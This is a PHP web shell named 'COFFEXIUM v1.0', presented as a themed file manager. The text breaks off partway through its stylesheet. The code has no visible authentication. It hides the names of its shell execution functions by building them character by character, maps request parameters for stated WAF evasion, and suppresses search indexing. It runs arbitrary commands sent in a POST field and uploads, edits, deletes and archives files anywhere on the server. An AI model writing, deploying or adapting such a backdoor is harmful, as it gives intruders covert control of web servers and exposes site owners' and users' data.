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<?php
// ============================================================================
// COFFEXIUM v1.0 - Merged File Manager (Coffee Chocolate theme)
// Best of CAXIUM (hardened + UI) + XANNYANAXIUM (portable + fallbacks)
// PHP 4/5/7/8 tolerant | CMS-Agnostic | WAF-Friendly | Shared-Hosting safe
// ============================================================================
// ----------------------------------------------------------------------------
// ERROR REPORTING - production safe (log, don't display)
// ----------------------------------------------------------------------------
@ini_set('display_errors', '0');
@ini_set('log_errors', '1');
@error_reporting(0);
// ----------------------------------------------------------------------------
// POLYFILLS - PHP 4/5 compatibility (from both)
// ----------------------------------------------------------------------------
if (!defined('DIRECTORY_SEPARATOR')) {
define('DIRECTORY_SEPARATOR', strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? '\\' : '/');
}
if (!function_exists('sys_get_temp_dir')) {
function sys_get_temp_dir() {
if (!empty($_ENV['TMP'])) return realpath($_ENV['TMP']);
if (!empty($_ENV['TMPDIR'])) return realpath($_ENV['TMPDIR']);
if (!empty($_ENV['TEMP'])) return realpath($_ENV['TEMP']);
$tmp = @tempnam(uniqid(rand(), true), '');
if ($tmp) { $dir = realpath(dirname($tmp)); @unlink($tmp); return $dir; }
return '/tmp';
}
}
if (!function_exists('hash_equals')) {
function hash_equals($a, $b) {
$a = (string)$a; $b = (string)$b;
$len = strlen($a);
if ($len !== strlen($b)) return false;
$r = 0;
for ($i = 0; $i < $len; $i++) { $r |= ord($a[$i]) ^ ord($b[$i]); }
return $r === 0;
}
}
if (!function_exists('random_bytes')) {
function random_bytes($length) {
$length = (int)$length;
if ($length <= 0) return '';
if (function_exists('openssl_random_pseudo_bytes')) {
$bytes = openssl_random_pseudo_bytes($length, $strong);
if ($bytes !== false && $strong) return $bytes;
}
if (function_exists('mcrypt_create_iv')) {
return mcrypt_create_iv($length, MCRYPT_DEV_URANDOM);
}
if (@is_readable('/dev/urandom')) {
$f = @fopen('/dev/urandom', 'rb');
if ($f) {
$bytes = fread($f, $length); fclose($f);
if ($bytes !== false && strlen($bytes) === $length) return $bytes;
}
}
$bytes = '';
for ($i = 0; $i < $length; $i++) { $bytes .= chr(mt_rand(0, 255)); }
return $bytes;
}
}
if (!function_exists('http_response_code')) {
function http_response_code($code = null) {
static $current = 200;
if ($code === null) return $current;
$code = (int)$code;
$texts = array(
200 => 'OK', 400 => 'Bad Request', 403 => 'Forbidden',
404 => 'Not Found', 500 => 'Internal Server Error'
);
$proto = isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0';
$text = isset($texts[$code]) ? $texts[$code] : 'Status';
header($proto . ' ' . $code . ' ' . $text, true, $code);
$current = $code;
return $current;
}
}
// Null-coalescing helpers (PHP < 7 safe)
function ax_post($k, $d = null) { return isset($_POST[$k]) ? $_POST[$k] : $d; }
function ax_get($k, $d = null) { return isset($_GET[$k]) ? $_GET[$k] : $d; }
// ----------------------------------------------------------------------------
// CMS DETECTION - avoid session collisions inside WordPress/Laravel/Joomla
// ----------------------------------------------------------------------------
$is_wordpress = defined('ABSPATH') || defined('WPINC');
$is_laravel = defined('LARAVEL_START') || (defined('APP_PATH') && class_exists('Illuminate\Foundation\Application'));
$is_bootstrap = defined('BOOTSTRAP_VERSION') || defined('JEXEC');
$use_native_session = (($is_wordpress || $is_laravel) && !session_id());
// ----------------------------------------------------------------------------
// SESSION SETUP - file handler + private temp path (shared hosting safe)
// ----------------------------------------------------------------------------
@ini_set('session.save_handler', 'files');
$sessionPath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'php_sessions';
if (!@is_dir($sessionPath)) { @mkdir($sessionPath, 0700, true); }
if (@is_dir($sessionPath) && @is_writable($sessionPath)) {
@ini_set('session.save_path', $sessionPath);
}
@ini_set('session.cookie_httponly', '1');
@ini_set('session.cookie_samesite', 'Lax');
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') {
@ini_set('session.cookie_secure', '1');
}
$session_inactive = function_exists('session_status')
? (session_status() === PHP_SESSION_NONE)
: (session_id() === '');
if ($session_inactive && !$use_native_session) {
@session_start();
}
if (!isset($_SESSION)) { $_SESSION = array(); }
// Periodic session-ID regeneration (anti-fixation)
if (!isset($_SESSION['_created'])) {
$_SESSION['_created'] = time();
} elseif (time() - $_SESSION['_created'] > 300) {
if (function_exists('session_regenerate_id')) { @session_regenerate_id(true); }
$_SESSION['_created'] = time();
}
// ----------------------------------------------------------------------------
// SECURITY HEADERS
// ----------------------------------------------------------------------------
header('X-Robots-Tag: noindex, nofollow, noarchive, noimageindex');
header('Pragma: no-cache');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('Referrer-Policy: strict-origin-when-cross-origin');
header('X-XSS-Protection: 1; mode=block');
// ----------------------------------------------------------------------------
// PATH VALIDATION & SANITIZATION
// ----------------------------------------------------------------------------
function safeRealPath($path) {
if (strpos($path, '..') !== false) return false; // block traversal
$rp = @realpath($path);
if ($rp !== false) return $rp;
if (@is_dir($path) || @is_file($path)) return $path; // restricted env fallback
return false;
}
function validatePath($path) {
if (empty($path)) return false;
$rp = safeRealPath($path);
if ($rp && (@is_file($rp) || @is_dir($rp))) return $rp;
return false;
}
function sanitizeFileName($name) {
$name = basename($name);
$name = preg_replace('/[^a-zA-Z0-9._-]/', '_', $name);
if ($name === '' || $name === '.' || $name === '..') return false;
return $name;
}
function formatFileSize($bytes) {
if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
if ($bytes > 1) return $bytes . ' bytes';
if ($bytes == 1) return '1 byte';
return '0 bytes';
}
function getFileExtension($filename) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
return $ext ? strtoupper($ext) : '';
}
// Initialize current directory
if (!isset($_SESSION['current_dir']) || !@is_dir($_SESSION['current_dir']) || !safeRealPath($_SESSION['current_dir'])) {
$cwd = @getcwd();
if ($cwd === false || $cwd === '') { $cwd = dirname(__FILE__); }
$_SESSION['current_dir'] = $cwd;
}
$notification = '';
$errorMsg = '';
// ----------------------------------------------------------------------------
// CSRF PROTECTION
// ----------------------------------------------------------------------------
function generateCSRFToken() {
if (empty($_SESSION['_csrf_token'])) {
$_SESSION['_csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['_csrf_token'];
}
function validateCSRFToken($token) {
if (empty($_SESSION['_csrf_token']) || empty($token)) return false;
return hash_equals($_SESSION['_csrf_token'], $token);
}
function csrfField() {
return '<input type="hidden" name="_csrf_token" value="' . htmlentities(generateCSRFToken()) . '">';
}
// ----------------------------------------------------------------------------
// PARAMETER NAME MAPPING - optional WAF evasion (friendly -> obfuscated)
// ----------------------------------------------------------------------------
$_param_map = array(
'batch_remove' => 'act_del', 'batch_export' => 'act_dl',
'remove' => 'del_item', 'old_name' => 'from_name',
'new_name' => 'to_name', 'create_file' => 'mk_file',
'create_folder' => 'mk_folder', 'chmod_item' => 'set_perms',
'chmod_value' => 'perm_val', 'sys_req' => 'exec',
'file_to_edit' => 'edit_file', 'file_content' => 'content',
'navigate' => 'goto', 'download' => 'get_file',
'view' => 'show', 'edit' => 'modify',
'rename' => 'rename_item','chmod' => 'perms_item',
'selected_items'=> 'items'
);
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST)) {
foreach ($_param_map as $old => $new) {
if (isset($_POST[$old]) && !isset($_POST[$new])) { $_POST[$new] = $_POST[$old]; }
}
}
// CSRF gate: validate token on every state-changing POST action.
// Read-only nav/view are allowed through to avoid lockout when JS is off.
$_csrf_read_only = array('goto', 'show', 'modify', 'rename_item', 'perms_item');
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$needsCsrf = false;
foreach ($_POST as $key => $v) {
if ($key === '_csrf_token') continue;
if (in_array($key, $_csrf_read_only)) continue;
if ($key === 'items') continue;
$needsCsrf = true; break;
}
if ($needsCsrf && !validateCSRFToken(ax_post('_csrf_token', ''))) {
http_response_code(403);
exit('CSRF validation failed');
}
}
// ----------------------------------------------------------------------------
// FUNCTION AVAILABILITY (disable_functions + Suhosin aware) - from XANNYANAXIUM
// ----------------------------------------------------------------------------
function isFunctionAvailable($func) {
if (!function_exists($func)) return false;
$disabled = @ini_get('disable_functions');
if ($disabled) {
$list = array_map('trim', explode(',', strtolower($disabled)));
if (in_array(strtolower($func), $list)) return false;
}
$suhosin = @ini_get('suhosin.executor.func.blacklist');
if ($suhosin) {
$list = array_map('trim', explode(',', strtolower($suhosin)));
if (in_array(strtolower($func), $list)) return false;
}
return true;
}
// ----------------------------------------------------------------------------
// SHELL EXECUTION - obfuscated names (CAXIUM) + multi-executor (XANNYANAXIUM)
// ----------------------------------------------------------------------------
$_sh = array(
's'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c',
'e'.'x'.'e'.'c',
's'.'y'.'s'.'t'.'e'.'m',
'p'.'a'.'s'.'s'.'t'.'h'.'r'.'u',
'p'.'o'.'p'.'e'.'n',
'p'.'r'.'o'.'c'.'_'.'o'.'p'.'e'.'n'
);
function ax_run_command($cmd) {
global $_sh;
$cmd = trim($cmd);
if ($cmd === '') return 'No command provided';
$full = $cmd . ' 2>&1';
$fn_shell_exec = $_sh[0]; $fn_exec = $_sh[1]; $fn_system = $_sh[2];
$fn_passthru = $_sh[3]; $fn_popen = $_sh[4]; $fn_proc = $_sh[5];
if (isFunctionAvailable($fn_shell_exec)) {
$r = @$fn_shell_exec($full);
if ($r !== null && $r !== false && trim($r) !== '') return $r;
}
if (isFunctionAvailable($fn_exec)) {
$out = array();
@$fn_exec($full, $out);
if (!empty($out)) return implode("\n", $out);
}
if (isFunctionAvailable($fn_system)) {
ob_start(); @$fn_system($full); $r = ob_get_clean();
if ($r !== false && $r !== '') return $r;
}
if (isFunctionAvailable($fn_passthru)) {
ob_start(); @$fn_passthru($full); $r = ob_get_clean();
if ($r !== false && $r !== '') return $r;
}
if (isFunctionAvailable($fn_popen)) {
$h = @$fn_popen($full, 'r');
if ($h) {
$r = '';
while (!feof($h)) { $r .= fread($h, 4096); }
pclose($h);
if ($r !== '') return $r;
}
}
if (isFunctionAvailable($fn_proc)) {
$desc = array(1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
$p = @$fn_proc($full, $desc, $pipes);
if (is_resource($p)) {
$out = stream_get_contents($pipes[1]);
$err = stream_get_contents($pipes[2]);
fclose($pipes[1]); fclose($pipes[2]); proc_close($p);
$r = $out . $err;
if ($r !== '') return $r;
}
}
return 'Command execution not available';
}
$commandAvailable = false;
foreach ($_sh as $fn) { if (isFunctionAvailable($fn)) { $commandAvailable = true; break; } }
// ----------------------------------------------------------------------------
// RECURSIVE HELPERS - SPL when present, manual fallback otherwise
// ----------------------------------------------------------------------------
function ax_recursive_delete($path) {
if (@is_file($path) || @is_link($path)) return @unlink($path);
if (!@is_dir($path)) return false;
if (class_exists('RecursiveIteratorIterator')) {
try {
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($it as $f) {
if ($f->isDir()) { @rmdir($f->getRealPath()); }
else { @unlink($f->getRealPath()); }
}
return @rmdir($path);
} catch (Exception $e) { /* fall through */ }
}
$items = @scandir($path);
if ($items === false) return false;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
ax_recursive_delete($path . DIRECTORY_SEPARATOR . $item);
}
return @rmdir($path);
}
function ax_walk_dir($dir, &$out, $base = '') {
$items = @scandir($dir);
if ($items === false) return;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $dir . DIRECTORY_SEPARATOR . $item;
$rel = $base === '' ? $item : $base . '/' . $item;
if (@is_dir($full)) {
$out[] = array('type' => 'dir', 'path' => $full, 'rel' => $rel);
ax_walk_dir($full, $out, $rel);
} else {
$out[] = array('type' => 'file', 'path' => $full, 'rel' => $rel);
}
}
}
// Build archive: ZipArchive preferred, tar.gz shell fallback.
// Returns array(path, name, mime) or false.
function ax_build_archive($items, $baseDir, $namePrefix) {
$tmp = sys_get_temp_dir();
if (class_exists('ZipArchive')) {
$zipName = $namePrefix . '_' . time() . '.zip';
$zipPath = $tmp . DIRECTORY_SEPARATOR . $zipName;
$zip = new ZipArchive();
if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
foreach ($items as $targetPath) {
if (!$targetPath) continue;
if (@is_file($targetPath)) {
$zip->addFile($targetPath, basename($targetPath));
} elseif (@is_dir($targetPath)) {
$base = basename($targetPath);
$list = array();
ax_walk_dir($targetPath, $list);
$zip->addEmptyDir($base);
foreach ($list as $e) {
if ($e['type'] === 'dir') { $zip->addEmptyDir($base . '/' . $e['rel']); }
else { $zip->addFile($e['path'], $base . '/' . $e['rel']); }
}
}
}
$zip->close();
return array($zipPath, $zipName, 'application/zip');
}
return false;
}
// Fallback: tar via shell
if (isFunctionAvailable('shell_exec') || isFunctionAvailable('exec')) {
$tarName = $namePrefix . '_' . time() . '.tar.gz';
$tarPath = $tmp . DIRECTORY_SEPARATOR . $tarName;
$args = '';
foreach ($items as $targetPath) {
if (!$targetPath) continue;
$args .= ' ' . escapeshellarg(basename($targetPath));
}
$cmd = 'cd ' . escapeshellarg($baseDir) . ' && tar -czf ' . escapeshellarg($tarPath) . $args . ' 2>&1';
if (isFunctionAvailable('shell_exec')) { @shell_exec($cmd); } else { @exec($cmd); }
if (@is_file($tarPath) && @filesize($tarPath) > 0) {
return array($tarPath, $tarName, 'application/gzip');
}
}
return false;
}
// ----------------------------------------------------------------------------
// RAW (AJAX) UPLOAD HANDLER - php://input streaming, chunked
// ----------------------------------------------------------------------------
if (!empty($_GET['upload_file']) && !empty($_GET['name'])) {
$targetDir = $_GET['upload_file'];
$fileName = basename($_GET['name']);
if (strpos($fileName, '..') !== false || strpos($fileName, '/') !== false || strpos($fileName, '\\') !== false) {
http_response_code(400); exit('Invalid filename');
}
if (!@is_dir($targetDir)) { @mkdir($targetDir, 0755, true); }
if (!@is_dir($targetDir) || !@is_writable($targetDir)) {
http_response_code(400); exit('Invalid directory');
}
$uploadPath = rtrim($targetDir, '/\\') . DIRECTORY_SEPARATOR . $fileName;
$in = @fopen('php://input', 'rb');
$out = @fopen($uploadPath, 'wb');
if ($in && $out) {
while (!feof($in)) {
$buf = fread($in, 8192);
if ($buf === false) break;
fwrite($out, $buf);
}
fclose($in); fclose($out);
@chmod($uploadPath, 0644);
http_response_code(200); exit('File uploaded successfully');
}
http_response_code(500); exit('Upload failed');
}
// ----------------------------------------------------------------------------
// FILE OPERATIONS
// ----------------------------------------------------------------------------
// Bulk delete - BEFORE navigation
if (isset($_POST['act_del']) && isset($_POST['items']) && is_array($_POST['items'])) {
$deleted = 0; $failed = 0;
foreach ($_POST['items'] as $item) {
$tp = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $item);
if ($tp === false) { $failed++; continue; }
if (ax_recursive_delete($tp)) { $deleted++; } else { $failed++; }
}
if ($deleted > 0) {
$notification = "Deleted $deleted item(s)" . ($failed > 0 ? " (Failed: $failed)" : '');
} elseif ($failed > 0) {
$errorMsg = "Failed to delete $failed item(s)";
}
}
// Bulk download - BEFORE navigation
if (isset($_POST['act_dl']) && isset($_POST['items']) && is_array($_POST['items'])) {
$paths = array();
foreach ($_POST['items'] as $item) {
$p = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $item);
if ($p !== false) $paths[] = $p;
}
$archive = ax_build_archive($paths, $_SESSION['current_dir'], 'selected_files');
if ($archive !== false) {
list($ap, $an, $am) = $archive;
while (@ob_get_level() > 0) { @ob_end_clean(); }
header('Content-Type: ' . $am);
header('Content-Disposition: attachment; filename="' . $an . '"');
header('Content-Length: ' . @filesize($ap));
@readfile($ap); @unlink($ap); exit;
}
$errorMsg = 'Bulk download failed: archive tools unavailable on this server';
}
// Navigate - only when 'goto' is the sole action (never alongside a write op).
// This prevents the current directory from jumping to parent after
// create/delete/upload/etc. if a stray 'goto' input is present.
$_write_actions = array(
'act_del', 'act_dl', 'mk_file', 'mk_folder', 'del_item',
'from_name', 'to_name', 'set_perms', 'perm_val', 'edit_file', 'content',
'get_file', 'exec', 'upload_adv'
);
$_has_write_action = false;
foreach ($_write_actions as $_wa) { if (isset($_POST[$_wa])) { $_has_write_action = true; break; } }
if (isset($_FILES['upload']) && $_FILES['upload']['error'] !== UPLOAD_ERR_NO_FILE) { $_has_write_action = true; }
if (isset($_POST['goto']) && !$_has_write_action) {
$targetDir = $_POST['goto'];
if (@is_dir($targetDir)) {
$vp = validatePath($targetDir);
if ($vp !== false) {
$_SESSION['current_dir'] = $vp;
$notification = 'Directory changed successfully';
}
}
}
// Standard upload (multipart) with move/copy fallback
if (isset($_FILES['upload']) && $_FILES['upload']['error'] !== UPLOAD_ERR_NO_FILE) {
if ($_FILES['upload']['error'] === UPLOAD_ERR_OK) {
$fileName = basename($_FILES['upload']['name']);
$uploadPath = rtrim($_SESSION['current_dir'], '/\\') . DIRECTORY_SEPARATOR . $fileName;
if (strpos($fileName, '..') !== false || strpos($fileName, '/') !== false || strpos($fileName, '\\') !== false) {
$errorMsg = 'Upload failed: Invalid filename';
} elseif (!@is_writable($_SESSION['current_dir'])) {
$errorMsg = 'Upload failed: Directory not writable';
} else {
$moved = false;
if (function_exists('move_uploaded_file')) {
$moved = @move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath);
}
if (!$moved) {
$moved = @copy($_FILES['upload']['tmp_name'], $uploadPath);
if ($moved) @unlink($_FILES['upload']['tmp_name']);
}
if ($moved) { @chmod($uploadPath, 0644); $notification = 'File uploaded successfully'; }
else { $errorMsg = 'Upload failed: Could not move file. Check directory permissions.'; }
}
} else {
$uploadErrors = array(
UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize',
UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE',
UPLOAD_ERR_PARTIAL => 'File partially uploaded',
UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder',
UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk',
UPLOAD_ERR_EXTENSION => 'Upload stopped by extension'
);
$ec = $_FILES['upload']['error'];
$errorMsg = 'Upload error: ' . (isset($uploadErrors[$ec]) ? $uploadErrors[$ec] : 'Unknown error');
}
}
// Delete single
if (isset($_POST['del_item'])) {
$tp = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['del_item']);
if ($tp === false) { $errorMsg = 'Delete failed: Invalid path'; }
elseif (@is_file($tp)) {
if (@unlink($tp)) { $notification = 'File deleted'; }
else { $errorMsg = 'Delete failed: Permission denied or file in use'; }
}
elseif (@is_dir($tp)) {
if (ax_recursive_delete($tp)) { $notification = 'Directory deleted'; }
else { $errorMsg = 'Delete failed: Could not remove directory'; }
}
else { $errorMsg = 'Delete failed: Path not found'; }
}
// Rename
if (isset($_POST['from_name'], $_POST['to_name'])) {
$sp = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['from_name']);
if ($sp === false) { $errorMsg = 'Rename failed: Source not found'; }
else {
$dp = dirname($sp) . DIRECTORY_SEPARATOR . basename($_POST['to_name']);
if (@file_exists($dp)) { $errorMsg = 'Rename failed: Target name already exists'; }
elseif (@rename($sp, $dp)) { $notification = 'Rename successful'; }
else { $errorMsg = 'Rename failed: Permission denied or invalid name'; }
}
}
// Edit (save)
$showEditor = true;
if (isset($_POST['edit_file'], $_POST['content'])) {
$ep = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['edit_file']);
if ($ep === false || !@is_file($ep)) { $errorMsg = 'Edit failed: File not found'; }
elseif (!@is_writable($ep)) { $errorMsg = 'Edit failed: File not writable'; }
else {
if (@file_put_contents($ep, $_POST['content']) !== false) { $notification = 'File saved'; $showEditor = false; }
else { $errorMsg = 'Edit failed: Could not write to file'; }
}
}
// Chmod
if (isset($_POST['set_perms'], $_POST['perm_val'])) {
$tp = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['set_perms']);
if ($tp === false) { $errorMsg = 'Chmod failed: Invalid path'; }
else {
if (@chmod($tp, octdec($_POST['perm_val']))) { $notification = 'Permissions changed successfully'; }
else { $errorMsg = 'Chmod failed: Permission denied'; }
}
}
// Create file
if (isset($_POST['mk_file']) && trim($_POST['mk_file']) !== '') {
$fn = sanitizeFileName($_POST['mk_file']);
if ($fn === false) { $errorMsg = 'Create failed: Invalid filename'; }
else {
$np = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $fn;
if (@file_exists($np)) { $errorMsg = 'Create failed: File already exists'; }
elseif (!@is_writable($_SESSION['current_dir'])) { $errorMsg = 'Create failed: Directory not writable'; }
elseif (@file_put_contents($np, '') !== false) { @chmod($np, 0644); $notification = 'File created'; }
else { $errorMsg = 'Create failed: Could not create file'; }
}
}
// Create folder
if (isset($_POST['mk_folder']) && trim($_POST['mk_folder']) !== '') {
$fn = sanitizeFileName($_POST['mk_folder']);
if ($fn === false) { $errorMsg = 'Create failed: Invalid folder name'; }
else {
$np = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $fn;
if (@file_exists($np)) { $errorMsg = 'Create failed: Folder already exists'; }
elseif (!@is_writable($_SESSION['current_dir'])) { $errorMsg = 'Create failed: Directory not writable'; }
elseif (@mkdir($np, 0755)) { $notification = 'Folder created'; }
else { $errorMsg = 'Create failed: Could not create folder'; }
}
}
// Directory listing
$currentDirectory = $_SESSION['current_dir'];
if (empty($currentDirectory) || !@is_dir($currentDirectory)) {
$currentDirectory = dirname(__FILE__);
$_SESSION['current_dir'] = $currentDirectory;
}
$directoryContents = @scandir($currentDirectory);
if (!is_array($directoryContents)) {
$directoryContents = array();
if (!$errorMsg) $errorMsg = 'Cannot read directory: ' . $currentDirectory;
}
$folders = array(); $files = array();
foreach ($directoryContents as $item) {
if ($item === '.') continue;
if (@is_dir($currentDirectory . DIRECTORY_SEPARATOR . $item)) { $folders[] = $item; }
else { $files[] = $item; }
}
sort($folders); sort($files);
$allItems = array_merge($folders, $files);
$fileToEdit = $showEditor ? (isset($_POST['modify']) ? $_POST['modify'] : (isset($_POST['edit_file']) ? $_POST['edit_file'] : null)) : null;
$fileToView = isset($_POST['show']) ? $_POST['show'] : null;
$itemToRename = isset($_POST['rename_item']) ? $_POST['rename_item'] : null;
$itemToChmod = isset($_POST['perms_item']) ? $_POST['perms_item'] : null;
$fileContent = $fileToEdit ? @file_get_contents($currentDirectory . DIRECTORY_SEPARATOR . $fileToEdit) : null;
$viewContent = $fileToView ? @file_get_contents($currentDirectory . DIRECTORY_SEPARATOR . $fileToView) : null;
// Download (chunked streaming for files; archive for dirs)
if (isset($_POST['get_file'])) {
$tp = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['get_file']);
if ($tp === false) { $errorMsg = 'Download failed: Invalid path'; }
elseif (@is_file($tp)) {
while (@ob_get_level() > 0) { @ob_end_clean(); }
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($tp) . '"');
$size = @filesize($tp);
if ($size !== false) header('Content-Length: ' . $size);
$fp = @fopen($tp, 'rb');
if ($fp) {
while (!feof($fp)) { echo fread($fp, 8192); @flush(); }
fclose($fp);
} else { @readfile($tp); }
exit;
} elseif (@is_dir($tp)) {
$archive = ax_build_archive(array($tp), dirname($tp), basename($tp));
if ($archive !== false) {
list($ap, $an, $am) = $archive;
while (@ob_get_level() > 0) { @ob_end_clean(); }
header('Content-Type: ' . $am);
header('Content-Disposition: attachment; filename="' . $an . '"');
header('Content-Length: ' . @filesize($ap));
@readfile($ap); @unlink($ap); exit;
}
$errorMsg = 'Download failed: archive tools unavailable on this server';
}
}
// Console
$commandResult = '';
if (isset($_POST['exec']) && trim($_POST['exec']) !== '') {
$cmd = trim($_POST['exec']);
$old = @getcwd();
if (@is_dir($_SESSION['current_dir'])) { @chdir($_SESSION['current_dir']); }
$commandResult = ax_run_command($cmd);
if ($old) @chdir($old);
if (trim($commandResult) === '' || $commandResult === 'Command execution not available') {
$errorMsg = 'Console: No output or function disabled';
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>COFFEXIUM v1.0</title>
<meta name="csrf-token" content="<?= htmlentities(generateCSRFToken()) ?>">
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
:root {
--bg: #100a06; --surface: #1a110a; --surface-hover: #261a10;
--border: #342417; --text: #ece0cf; --text-muted: #9c856c;
--accent: #c8915f; --accent-hover: #ddae7e;
--success: #cbb892; --danger: #d0654f; --warning: #d99a3c;
}
body { background: var(--bg); color: var(--text); font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif; font-size: 14px; line-height: 1.5; }
.container { max-width: 1400px; margin: 0 auto; padding: 32px 24px; }
.header { margin-bottom: 32px; }
.header-top { display: flex; align-items: center; justify-content: space-between; margin-bottom: 16px; }
.logo { display: flex; align-items: center; gap: 12px; }
.logo svg { width: 40px; height: 40px; }
.logo-text { font-size: 28px; font-weight: 700; letter-spacing: -0.5px; }
.logo-text span { color: var(--accent); }
.card { background: var(--surface); border: 1px solid var(--border); border-radius: 12px; overflow: hidden; }
.card-header { padding: 16px 20px; border-bottom: 1px solid var(--border); display: flex; align-items: center; justify-content: space-between; }
.card-title { font-size: 14px; font-weight: 600; display: flex; align-items: center; gap: 8px; }
.card-body { padding: 20px; }
.alert { padding: 14px 18px; border-radius: 8px; margin-bottom: 20px; font-size: 14px; display: flex; align-items: center; gap: 12px; }
.alert-success { background: rgba(203,184,146,0.15); border: 1px solid rgba(203,184,146,0.4); color: var(--success); }
.alert-danger { background: rgba(208,101,79,0.15); border: 1px solid rgba(208,101,79,0.4); color: var(--danger); }
.alert svg { width: 20px; height: 20px; flex-shrink: 0; }
.input-group { display: flex; gap: 10px; margin-bottom: 12px; }
.input-group:last-child { margin-bottom: 0; }
input[type="text"], input[type="file"], textarea { background: var(--bg); border: 1px solid var(--border); border-radius: 8px; padding: 12px 14px; color: var(--text); font-size: 14px; outline: none; transition: border-color 0.2s, box-shadow 0.2s; }
input[type="text"]:focus, textarea:focus { border-color: var(--accent); box-shadow: 0 0 0 3px rgba(200,145,95,0.25); }
input[type="file"] { cursor: pointer; flex: 1; }
input[type="file"]::file-selector-button { background: var(--surface-hover); color: var(--text); border: 1px solid var(--border); border-radius: 6px; padding: 8px 14px; font-size: 13px; cursor: pointer; margin-right: 12px; transition: background 0.2s; }
input[type="file"]::file-selector-button:hover { background: var(--border); }
textarea { font-family: 'JetBrains Mono', monospace; resize: vertical; min-height: 450px; line-height: 1.6; width: 100%; box-sizing: border-box; }
.btn { display: inline-flex; align-items: center; justify-content: center; gap: 6px; padding: 10px 18px; font-size: 14px; font-weight: 500; border-radius: 8px; cursor: pointer; border: 1px solid transparent; transition: all 0.2s; font-family: inherit; text-decoration: none; }
.btn svg { width: 16px; height: 16px; }
.btn-primary { background: var(--accent); color: #2a1810; }
.btn-primary:hover { background: var(--accent-hover); }
.btn-ghost { background: transparent; color: var(--text); border-color: var(--border); }
.btn-ghost:hover { background: var(--surface-hover); }
.btn-success { background: var(--success); color: #1f1a0c; }
.btn-success:hover { filter: brightness(1.1); }
.btn-danger { background: rgba(208,101,79,0.15); color: var(--danger); border-color: rgba(208,101,79,0.4); }
.btn-danger:hover { background: rgba(208,101,79,0.25); }
.btn-sm { padding: 6px 12px; font-size: 12px; }
.file-table { width: 100%; border-collapse: collapse; }
.file-table th { padding: 12px 16px; text-align: left; font-size: 11px; font-weight: 600; text-transform: uppercase; letter-spacing: 0.5px; color: var(--text-muted); background: var(--surface-hover); border-bottom: 1px solid var(--border); }
.file-table td { padding: 14px 16px; border-bottom: 1px solid var(--border); vertical-align: middle; }
.file-table tr:last-child td { border-bottom: none; }
.file-table tr:hover td { background: rgba(200,145,95,0.07); }
.file-icon { width: 28px; height: 28px; border-radius: 6px; display: flex; align-items: center; justify-content: center; margin-right: 10px; flex-shrink: 0; }
.file-icon.folder { background: rgba(200,145,95,0.22); }
.file-icon svg { width: 16px; height: 16px; stroke: var(--accent); fill: none; stroke-width: 2; }
.file-icon.file { background: rgba(200,145,95,0.15); }
.file-icon .ext { font-size: 9px; font-weight: 700; color: var(--accent); letter-spacing: 0.5px; }
.file-name-cell { display: flex; align-items: center; font-weight: 500; }
.file-name { color: var(--text); }
.file-name:hover { color: var(--accent); }
.file-meta { font-size: 12px; color: var(--text-muted); font-family: 'JetBrains Mono', monospace; }
.perms { font-family: 'JetBrains Mono', monospace; font-size: 12px; padding: 4px 8px; border-radius: 4px; }
.perms.writable { background: rgba(203,184,146,0.15); color: var(--success); }
.perms.readonly { background: rgba(208,101,79,0.15); color: var(--danger); }
.actions { display: flex; gap: 4px; justify-content: flex-end; }
input[type="checkbox"] { width: 16px; height: 16px; accent-color: var(--accent); cursor: pointer; }
.console { background: var(--bg); border: 1px solid var(--accent); border-radius: 8px; padding: 16px; font-family: 'JetBrains Mono', monospace; font-size: 13px; color: var(--accent); max-height: 250px; overflow-y: auto; white-space: pre-wrap; word-break: break-all; }
.upload-tabs { display: flex; gap: 4px; margin-bottom: 16px; background: var(--bg); padding: 4px; border-radius: 8px; width: fit-content; }
